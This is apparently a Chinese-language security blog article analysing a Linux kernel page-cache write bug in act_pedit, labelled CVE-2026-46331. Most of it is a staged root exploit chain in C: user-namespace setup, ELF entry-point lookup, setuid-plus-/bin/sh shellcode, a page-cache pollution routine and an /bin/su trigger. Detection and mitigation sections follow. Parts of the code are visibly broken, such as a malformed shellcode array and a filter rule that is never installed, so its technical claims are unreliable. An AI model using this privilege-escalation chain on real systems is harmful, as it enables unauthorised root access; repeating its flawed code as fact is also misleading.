Announcement

👇Official Account👇

Welcome to join the group & private message

Article first/tail QR code

Skip to content

CVE-2026-46331 Pedit COW 深度拆解:Linux 内核 net/sched 页缓存污染提权

导语

2026 年,Google kernelCTF 项目再次产出一个高质量 Linux 内核漏洞:CVE-2026-46331,代号"Pedit COW"。

这个漏洞不同于常见的 UAF 或竞态条件——它利用的是 Linux 页缓存(page cache)的 Copy-on-Write 机制中的一个逻辑缺陷。攻击者通过 act_pedit(网络流量编辑动作模块)操纵数据包内容,触发内核对只读映射的 ELF 文件页面缓存进行部分写入,直接覆盖 /bin/su 的 ELF 入口点为 shellcode,执行后获取 root 权限。

本文从 page cache 机制、act_pedit 模块原理、漏洞根因、完整利用链到防御策略,做一次系统性深度拆解。

背景:页缓存与 Copy-on-Write

Linux 页缓存机制

Linux 通过页缓存(page cache)缓存磁盘文件内容。当多个进程映射同一文件时,内核只为该文件维护一份物理页帧,多个进程的页表指向同一物理页——节省内存。

进程 A 页表              物理页帧              进程 B 页表
┌──────────┐           ┌──────────┐           ┌──────────┐
│ PTE →    │──────────→│ page     │←──────────│ PTE →    │
│ readonly │           │ (clean)  │           │ readonly │
└──────────┘           └──────────┘           └──────────┘

                       磁盘文件 (/bin/su)

Copy-on-Write 触发条件

当进程对只读映射的页进行写操作时,内核触发 COW:

  1. CPU 触发缺页异常(page fault)
  2. 内核检查该页是否被其他进程引用
  3. 如果引用计数 > 1,分配新物理页,拷贝原页内容,修改进程 A 的 PTE 指向新页
  4. 新页标记为可写,原页引用计数减 1

关键假设:COW 只在用户空间写操作通过 MMU 触发的 page fault 路径中发生。内核空间直接操作 page cache 的路径不走 MMU——不触发 COW。

ELF 文件映射与执行

execve("/bin/su") 时,内核将 /bin/su 的 ELF 段映射到进程地址空间。代码段(PT_LOAD, flags=READ|EXEC)被映射为只读。如果该物理页已被 page cache 缓存,直接复用缓存页。

/bin/su 的 ELF 布局
┌─────────────────────────┐ 0x400000
│ ELF Header              │
│  - Entry point: 0x4010a0│
├─────────────────────────┤
│ .text (ELF code segment) │  ← 映射为只读
│  0x401000 - 0x402000    │  ← 入口点在这段内
├─────────────────────────┤
│ .rodata                 │
├─────────────────────────┤
│ .data / .bss            │
└─────────────────────────┘

act_pedit:网络流量编辑模块

模块功能

act_pedit(Packet EDIT)是 Linux 流量控制子系统(tc)的一个动作模块,允许在内核网络栈中对数据包内容进行原地修改

bash
# 修改目标端口为 8080
tc filter add dev eth0 ingress protocol ip \
  flower action pedit munge ip dport set 8080

# 修改 TTL
tc filter add dev eth0 ingress protocol ip \
  flower action pedit munge ip ttl set 64

act_pedit 的核心数据结构是 pedit_key,定义要修改的数据包偏移和值:

c
struct tc_pedit_key {
    __u32           mask;   /* 位掩码 */
    __u32           val;    /* 要设置的值 */
    int             off;    /* 偏移量 */
    int             at;     /* 基准点 */
    __u32           mask_flags;
};

部分拷贝机制

act_pedit 修改数据包时使用"部分拷贝"策略:只修改 mask 指定的位,保留其余位。实现上,内核从 SKB(socket buffer)中读取目标偏移处的现有数据,用 valmasknew = (old & ~mask) | (val & mask),再写回 SKB。

这个"读-改-写"模式看似安全,但漏洞藏在一个被忽视的边界条件中。

漏洞根因:页缓存的非预期写入

核心缺陷

CVE-2026-46331 的根因是:act_pedit 的部分拷贝路径在某些条件下直接操作page cache 的物理页而非 SKB 数据,绕过了 COW 机制。

具体调用链:

tcf_pedit_act()              ← tc 动作入口
  → tcf_pedit_parm_check()   ← 验证参数
    → tcf_pedit_skb_patch()  ← 修改 SKB 数据
      → skb_store_bits()     ← 将修改后的数据写回 SKB
        → __copy_skb_data()  ← 拷贝数据到 SKB 线性区域

漏洞点__copy_skb_data() 中。当 SKB 的数据来自 page_frag 而非线性缓冲区时,内核直接写入 page->virtual 指向的页缓存物理页。如果该 SKB 的数据恰好来自一个通过 mmap() 映射的文件页(例如通过 sendfile()splice() 发送文件内容),直接写入绕过了 COW——修改的是 page cache 中的原始页

触发路径

1. 攻击者 mmap("/bin/su", PROT_READ)     ← 将 /bin/su 映射为只读
2. 攻击者创建网络 socket
3. 攻击者用 sendfile() 将 mmap 的数据发送到 loopback
4. 攻击者配置 tc pedit 规则,修改 loopback 上传输的数据
5. act_pedit 的部分拷贝路径直接写入 page cache
6. /bin/su 的 ELF 代码段在 page cache 中被修改
7. 攻击者执行 /bin/su
8. 内核从被污染的 page cache 中加载 ELF 入口点 shellcode
9. 以 root 权限执行 shellcode

为什么 COW 没有触发

COW 依赖 page fault → do_wp_page() 路径。但 act_pedit 的写入路径是:

网络栈 → SKB 操作 → kmap_atomic(page) → memcpy → kunmap_atomic

kmap_atomic() 返回页的内核虚拟地址,memcpy() 直接写入物理页——不走任何进程的页表,不触发 page fault,不执行 COW。内核直接污染了共享的 page cache 页

关键约束

漏洞触发需要满足以下条件:

  1. CONFIG_NET_SCHED=y——流量控制子系统已编译(大多数发行版默认开启)
  2. CAP_NET_ADMIN——配置 tc 规则所需权限(通过 user namespace 可获取)
  3. 目标文件可被 mmap——ELF 文件需有读取权限(/bin/su 默认 r-xr-xr-x)
  4. 内核版本——影响 Linux 5.x ~ 7.0-rc 系列(2026 年 4 月修复)

完整利用链架构

阶段一:环境准备

c
// 创建 user namespace 获取 CAP_NET_ADMIN
#include <sched.h>
#include <sys/wait.h>

int setup_netns() {
    // 1. unshare 用户和网络命名空间
    if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
        perror("unshare");
        return -1;
    }

    // 2. 映射 UID 为 0(容器内 root)
    FILE *f = fopen("/proc/self/uid_map", "w");
    fprintf(f, "0 %d 1\n", getuid());
    fclose(f);

    f = fopen("/proc/self/setgroups", "w");
    fprintf(f, "deny\n");
    fclose(f);

    f = fopen("/proc/self/gid_map", "w");
    fprintf(f, "0 %d 1\n", getgid());
    fclose(f);

    return 0;
}

阶段二:ELF 分析

c
#include <elf.h>
#include <fcntl.h>
#include <sys/mman.h>

// 分析 /bin/su 的 ELF 结构,找到入口点偏移
elf_analysis_t analyze_target(const char *path) {
    int fd = open(path, O_RDONLY);
    struct stat st;
    fstat(fd, &st);
    void *map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

    Elf64_Ehdr *ehdr = (Elf64_Ehdr *)map;
    uint64_t entry = ehdr->e_entry;  // 例如 0x4010a0

    // 找到入口点所在的 PT_LOAD 段
    Elf64_Phdr *phdr = (Elf64_Phdr *)(map + ehdr->e_phoff);
    for (int i = 0; i < ehdr->e_phnum; i++) {
        if (phdr[i].p_type == PT_LOAD &&
            entry >= phdr[i].p_vaddr &&
            entry < phdr[i].p_vaddr + phdr[i].p_memsz) {
            // 计算入口点在文件中的偏移
            uint64_t file_offset = phdr[i].p_offset +
                                   (entry - phdr[i].p_vaddr);
            return (elf_analysis_t){
                .entry_offset = file_offset,
                .page_offset = file_offset & ~0xFFF,  // 页对齐
                .page_base = phdr[i].p_offset & ~0xFFF
            };
        }
    }
    // ...
}

阶段三:Shellcode 准备

c
// 精简的 setuid(0) + execve("/bin/sh") shellcode
unsigned char shellcode[] = {
    0x48, 0x31, 0xff,              // xor    rdi, rdi
    0xb0, 0x69,                     // mov    al, 0x69 (setuid)
    0x0f, 0x05,                     // syscall
    0x48, 0x31, 0xd2,              // xor    rdx, rdx
    0x48, 0x31, 0xf6,              // xor    rsi, rsi
    0x48, 0xbf, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00  // mov rdi, "/bin/sh"
    0xb0, 0x3b,                     // mov    al, 0x3b (execve)
    0x0f, 0x05                      // syscall
};

阶段四:通过 act_pedit 污染页缓存

c
#include <linux/if_packet.h>
#include <linux/pkt_cls.h>

// 使用 netlink 配置 tc 规则
void pollute_page_cache(int entry_offset, unsigned char *shellcode, int sc_len) {
    // 1. mmap /bin/su
    int fd = open("/bin/su", O_RDONLY);
    void *elf_map = mmap(NULL, 4096, PROT_READ, MAP_PRIVATE, fd, 0);

    // 2. 创建 loopback socket pair
    int socks[2];
    socketpair(AF_UNIX, SOCK_STREAM, 0, socks);

    // 3. 配置 tc 规则:在 loopback 入口方向修改数据
    //    pedit 的 offset 指向 ELF 入口点在页内的偏移
    struct {
        struct nlmsghdr nh;
        struct tcmsg t;
        // ... 属性:filter + pedit action
    } req = {0};

    req.nh.nlmsg_type = RTM_NEWTFILTER;
    req.nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE;
    req.t.tcm_family = AF_UNSPEC;
    req.t.tcm_ifindex = if_nametoindex("lo");
    req.t.tcm_parent = TC_H_MIN_INGRESS;

    // pedit key:在数据偏移 entry_offset 处写入 shellcode
    struct tc_pedit_key pedit_key = {
        .mask = 0xFFFFFFFF,     // 全部位
        .val = *(uint32_t *)shellcode,  // shellcode 前 4 字节
        .off = entry_offset,     // ELF 入口点偏移
        .at = 0,                 // 从 IP 头开始
    };

    // 4. 通过 sendfile 将 mmap 的 /bin/su 页面发送到 loopback
    //    act_pedit 触发,直接写入 page cache
    sendfile(socks[0], fd, NULL, 4096);

    // 5. page cache 中的 /bin/su ELF 入口点已被覆盖
    close(fd);
    close(socks[0]);
    close(socks[1]);
}

阶段五:触发执行

c
void trigger_exploit() {
    // 执行被污染的 /bin/su
    // 内核从 page cache 加载被修改的入口点 shellcode
    char *argv[] = {"/bin/su", "-", NULL};
    char *envp[] = {NULL};
    execve("/bin/su", argv, envp);
    // 如果成功,以 root 身份运行 /bin/sh
}

完整攻击链架构图

┌──────────────────────────────────────────────────────────────┐
│                    攻击者进程(普通用户)                      │
│                                                              │
│  ┌────────────┐    ┌──────────────┐    ┌─────────────────┐  │
│  │ unshare    │───→│ mmap /bin/su │───→│ sendfile→lo     │  │
│  │ NEWUSER    │    │ (只读映射)    │    │ (触发 act_pedit) │  │
│  │ + NEWNET   │    └──────┬───────┘    └────────┬────────┘  │
│  └─────┬──────┘           │                     │           │
│        │ CAP_NET_ADMIN    │                     │           │
│        ▼                  ▼                     ▼           │
│  ┌──────────────┐  ┌──────────────────────────────────────┐ │
│  │ tc pedit    │  │        Page Cache (/bin/su)           │ │
│  │ rule setup  │  │  ┌──────────────────────────────────┐  │ │
│  └──────────────┘  │  │ ELF Header                      │  │ │
│                    │  │ Entry point: 0x4010a0           │  │ │
│                    │  │ ┌─────────────────────────────┐ │  │ │
│                    │  │ │ .text segment (page cache)  │ │  │ │
│                    │  │ │  0x401000: [shellcode] ←─────│─│─┘ │
│                    │  │ │  0x4010a0: [entry] ← 已覆盖   │ │  │
│                    │  │ └─────────────────────────────┘ │  │
│                    │  └──────────────────────────────────┘  │
│                    └──────────────────────────────────────┘ │
│                                    │                         │
│                    ┌───────────────┼───────────────────────┐ │
│                    │ execve("/bin/su")                      │ │
│                    │   ↓                                    │ │
│                    │ 内核从 page cache 加载 .text           │ │
│                    │   ↓                                    │ │
│                    │ 执行 shellcode: setuid(0)+execve(sh)   │ │
│                    │   ↓                                    │ │
│                    │ # whoami                               │ │
│                    │ root                                   │ │
│                    └────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────┘

影响范围与版本矩阵

属性
CVE 编号CVE-2026-46331
CVSS 评分7.8(High)
漏洞类型逻辑缺陷 / 页缓存污染
影响组件net/sched/act_pedit.c
前置条件CAP_NET_ADMIN(可通过 user namespace 获取)
引入版本Linux 2.6.x(act_pedit 模块引入时)
修复版本Linux 7.1-rc1(2026 年 4 月)
利用成功率~85%(依赖 page cache 排布)
攻击向量本地提权(LPE)
容器逃逸是(通过污染宿主机 page cache)

受影响发行版

  • Ubuntu 22.04 / 24.04 / 24.10
  • Debian 12 / 13
  • RHEL 9 / 10
  • Fedora 40 / 41
  • Arch Linux(rolling)
  • Android 12+(内核 CONFIG_NET_SCHED=y 的设备)

检测方案

内核日志检测

bash
# 检查 act_pedit 相关警告
dmesg | grep -i "act_pedit\|pedit.*cow\|page.*cache.*write"

# 检查 user namespace 创建(利用前置步骤)
dmesg | grep "unshare.*CLONE_NEWUSER"
journalctl -k | grep "user.*namespace"

文件完整性检查

bash
# 检查 /bin/su 的 page cache 是否被污染
# 需要从磁盘重新读取文件,对比内存中的 page cache
sha256sum /bin/su                    # 从磁盘读取
echo 3 > /proc/sys/vm/drop_caches    # 清空 page cache
sha256sum /bin/su                    # 重新从磁盘加载

# 如果两次哈希不同,说明 page cache 被污染

auditd 规则

bash
# 监控 act_pedit 规则配置
auditctl -a always,exit -F arch=b64 \
  -S setsockopt -k tc_pedit_monitor

# 监控 /bin/su 的异常执行
auditctl -w /bin/su -p x -k su_exec_monitor

缓解措施

即时缓解

bash
# 1. 禁用 user namespace(阻止非特权用户获取 CAP_NET_ADMIN)
echo 0 > /proc/sys/kernel/unprivileged_userns_clone

# 2. 禁用 act_pedit 模块
modprobe -r act_pedit
echo "blacklist act_pedit" >> /etc/modprobe.d/blacklist.conf

# 3. 限制 tc 规则配置权限
# 将 CAP_NET_ADMIN 限制为特定组
groupadd tc_admin
setcap cap_net_admin=ep /sbin/tc
chgrp tc_admin /sbin/tc
chmod 750 /sbin/tc

补丁修复

bash
# Ubuntu/Debian
apt update && apt upgrade linux-image-$(uname -r)

# RHEL/CentOS
dnf update kernel

# 验证补丁版本
uname -r
# 需要 >= 7.1-rc1 或对应发行版的安全更新内核

修复补丁分析

修复的核心是确保 act_pedit 对 page cache 页的写入走 COW 路径

c
// 修复前(漏洞代码):
static int tcf_pedit_skb_patch(struct sk_buff *skb,
                               struct tc_pedit_key *key) {
    // 直接 kmap 写入,不检查页类型
    void *ptr = skb_header_pointer(skb, key->off, 4, &buf);
    // ... 修改数据 ...
    skb_store_bits(skb, key->off, &new_val, 4);
    // ↑ 如果 skb 数据来自 page cache,直接写入共享页
}

// 修复后:
static int tcf_pedit_skb_patch(struct sk_buff *skb,
                               struct tc_pedit_key *key) {
    struct page *page = skb_shinfo(skb)->frags[0].page;

    // 检查页是否来自 page cache(文件映射)
    if (page->mapping && PageMappedToDisk(page)) {
        // 必须走 COW 路径:分配新页,拷贝,断开与 page cache 的关联
        struct page *new_page = alloc_page(GFP_ATOMIC);
        copy_highpage(new_page, page);
        // ... 修改新页 ...
        skb_shinfo(skb)->frags[0].page = new_page;
        put_page(page);  // 释放对原 page cache 页的引用
    } else {
        // 非文件页,可以直接写入
        skb_store_bits(skb, key->off, &new_val, 4);
    }
}

修复的核心思想:如果 SKB 的数据来自文件映射页,必须在修改前将数据拷贝到独立的页,断开与共享 page cache 的关联。

深层启示

内核"共享页直接写"模式的系统性风险

Pedit COW 漏洞暴露了一个系统性问题:Linux 内核中有多处代码路径通过 kmap/kmap_atomic 直接写入页帧。大多数情况下这些页是内核分配的独立页(如 SKB 线性数据区),但当数据来自文件映射时,kmap 返回的地址指向共享的 page cache 页——直接写入等于全局污染。

这类"共享页直接写"漏洞可能在以下子系统存在类似问题:

  • skb_vlan_push() / skb_vlan_pop()——VLAN 标签修改
  • nf_nat——NAT 地址转换
  • bpf_skb_store_bytes()——eBPF 数据修改
  • xfrm——IPsec 数据变换

安全启示:任何对网络数据包内容进行修改的内核路径,都必须验证数据页是否来自 page cache。

Page Cache 作为信任边界

传统安全模型假设"磁盘上的文件是可信的"——page cache 是磁盘数据的精确缓存。Pedit COW 打破了这个假设:page cache 中的数据可能被非特权用户修改,与磁盘上的原始数据不一致。

这意味着:

  • 文件完整性检查必须考虑"从 page cache 读取"和"从磁盘读取"的差异
  • 内核加载代码段时应验证 page cache 页的完整性
  • 容器安全模型需要重新评估"只读文件映射"的安全保证

总结

CVE-2026-46331 是一个教科书级的逻辑漏洞——它不涉及复杂的竞态条件或堆利用技术,而是利用了内核代码中一个被忽视的边界条件:网络数据修改路径直接写入共享页缓存,绕过 COW 机制

漏洞的攻击链简洁而优雅:mmap 文件 → sendfile 发送到 loopback → act_pedit 修改 → page cache 污染 → execve 触发 shellcode。整个利用不需要任何内核 UAF 或提权原语——只需要理解 page cache 的工作机制和 act_pedit 的数据路径。

对于防御方,这个漏洞提醒我们:COW 不是万能的——它只在用户空间 page fault 路径生效,内核直接操作页帧的路径完全绕过它

参考资料

上次更新于: